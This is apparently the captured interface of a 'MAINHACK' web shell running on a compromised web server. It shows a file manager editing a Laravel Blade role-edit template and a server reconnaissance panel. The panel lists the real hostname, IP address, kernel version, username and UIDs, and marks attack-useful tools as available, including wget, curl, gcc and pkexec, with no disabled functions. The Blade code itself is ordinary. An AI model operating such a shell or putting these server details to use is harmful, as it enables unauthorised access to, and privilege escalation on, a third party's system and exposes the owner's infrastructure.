[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: edit.blade.php
@extends('layouts.app') @section('title', "Dashboard || Add New Admin") @section('content') <section class="index"> <div class="card border-0"> <div class="card-header bg-transparent"> <div class=""> <h3>{{ translate('Add New Role') }}</h3> <p><a href="{{url('dashboard')}}">Dashboard</a> / Role Create</p> </div> <a class="btn btn-primary" href="{{ route('role.index') }}"><i class="fa fa-arrow-left"></i> Back to list</a> </div> <div class="card-body"> <form action="{{route('role.update',$role->id)}}" method="post" class="row"> @csrf @method('put') <input type="hidden" name="id" value="{{$role->id}}"/> <div class="form-group col-lg-4"> <label class="req">Name</label> <input type="text" name="name" placeholder="Enter role name" value="{{$role->name}}" class="form-control" /> @error('name') <span class="text-danger">Name field is required!</span> @enderror </div> <div class="form-group col-lg-4"> <label class="req">Status</label> <div class="d-block mt-1"> <label class="req me-2" for="active"> <input type="radio" name="status" @if($role->status == 'active') checked @endif value="active" id="active" /> Active </label> <label class="req" for="inactive"> <input type="radio" name="status" @if($role->status == 'inactive') checked @endif value="inactive" id="inactive" /> Inactive </label> </div> @error('status') <span class="text-danger">Status field is required!</span> @enderror </div> <div class="row my-2"> @foreach($modules as $key => $module) <div class="col-lg-3 p-1"> <label for="{{$key}}" class="text-capitalize"> <input type="checkbox" value="1" {{ array_key_exists($key, $permissions) ? 'checked' : '' }} name="permissions[{{$key}}]" id="{{$key}}" /> {{ str_replace('_',' ',$key) }} </label> </div> @endforeach </div> <div class="col-lg-4"> <button type="submit" class="btn btn-primary">Submit</button> </div> </form> </div> </section> @endsection
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.85 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002